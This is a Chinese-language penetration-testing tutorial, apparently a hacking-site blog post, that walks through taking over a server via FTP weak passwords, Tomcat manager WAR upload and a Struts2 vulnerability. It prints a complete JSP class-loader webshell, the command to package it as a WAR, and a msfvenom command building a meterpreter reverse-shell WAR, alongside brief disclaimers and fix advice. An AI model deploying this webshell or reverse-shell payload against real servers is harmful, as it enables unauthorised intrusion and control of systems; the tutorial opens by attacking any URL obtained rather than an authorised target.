免责申明
本教程的技术文章仅供参考,只用于教育目的,只是演示一些工具和工具的使用以及渗透思路,大佬勿喷,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!
推荐阅读
废话不多说,拿到一个网址直接开干
直接端口扫描
先看看21端口,是什么,不知道的百度,发现是ftp,那么尝试弱口令爆破
漏洞描述
FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为。
漏洞危害
黑客利用弱口令或匿名登录漏洞直接登录 FTP 服务,上传恶意文件,从而获取系统权限,并可能造成数据泄露。
直接得到密码,我们连接看下,发现是网站根目录
直接上传shell,拿到服务器shell
在打开8080端口看看是啥?发现是Tomcat面板
Tomcat是什么?
Tomcat,全称Apache Tomcat,是一个开源的Web应用服务器。它可以看作是一个“小型网站服务器”,主要用于运行Java编写的网站。不同于那些需要大量计算资源的大型商业服务器,Tomcat更适合用于个人项目或小型企业,提供网页浏览和小规模数据处理功能
————————————————
那他有些什么漏洞可利用呢?
Tomcat后台弱口令上传war包
首先我们先来了解以下Tomcat的概念:
Tomcat是我们在工作中所使用的一款开源轻量级的Web应用程序服务器。通常情况下在中小型系统或者并发量较小的场合下使用,常用来与JSP脚本结合使来解析脚本语言部署搭建网站等系统。
在这里我们将Tomcat的几大高危漏洞整理至以下:
1、Tomcat后台弱口令上传war包
2、Tomcat的PUT的上传漏洞(CVE-2017-12615)
3、Tomcat反序列化漏洞(CVE-2016-8735)
4、Tomcat JMX服务器弱口令
5、Tomcat 样例目录session操控漏洞
6、Tomcat本地提权漏洞(CVE-2016-1240)
7Tomcat win版默认空口令漏洞(CVE-2009-3548)
在这里解释一下War包的概念:war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
首先演示Tomcat后台弱口令上传war包
点击mananger app
或者直接访问manager
目录,会提示登录,
直接利用工具看是否存在弱口令
可以看到是弱口令接着我们访问并登录后台找到上传war
文件位置
这是需要执着一个war
的包,可以自己手动打包,jsp
一句话木马代码如下,密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用jar cvf test.war test.jsp
打包
将该test.war
上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp
放到目录中,所以只需要访问test/test.jsp
即可
访问成功,空白页面
使用webshell连接工具,我这儿用冰蝎连接
额外的技巧,使用msfvenom
也可以生成war
后门文件,如下
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war
上传后只需要启动msfconsole
然后use multi/handler
,设置payload
和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。
漏洞修复建议
- 将
conf/tomcat-users.xml
中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器 - 将
manager
目录下的功能暂时关闭,需要的时候打开
接着我们看见他有struts2
struts2是什么?
Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
struts2介绍
Struts2 是一个基于MVC设计模式的流行且成熟的Web应用程序框架. Struts2不仅仅是Struts 1的新版本,它完全重写了Struts架构.
Webwork框架最初以Struts框架为基础,其目标是提供一个基于Struts的增强和改进的框架,使开发人员更容易进行Web开发.过了一段时间,Webwork框架和Struts社区携手创建着名的Struts2框架.(也可以将struts2比作于一个大的servlet)
然后访问这个网址 http://127.0.0.1:8080(IP加端口)/struts2-showcase/index.action
然后使用struts2漏洞检测工具,复制url,即可成功检测
查看木马文件
struts2漏洞扫描工具
观察上传访问路径,进行复制,使用第三方工具(冰蝎)进行连接
连接成功,进行添加,进入,成功拿到服务器shell
漏洞修复建议(或缓解措施):
检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
2、本站永久网址:https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
暂无评论内容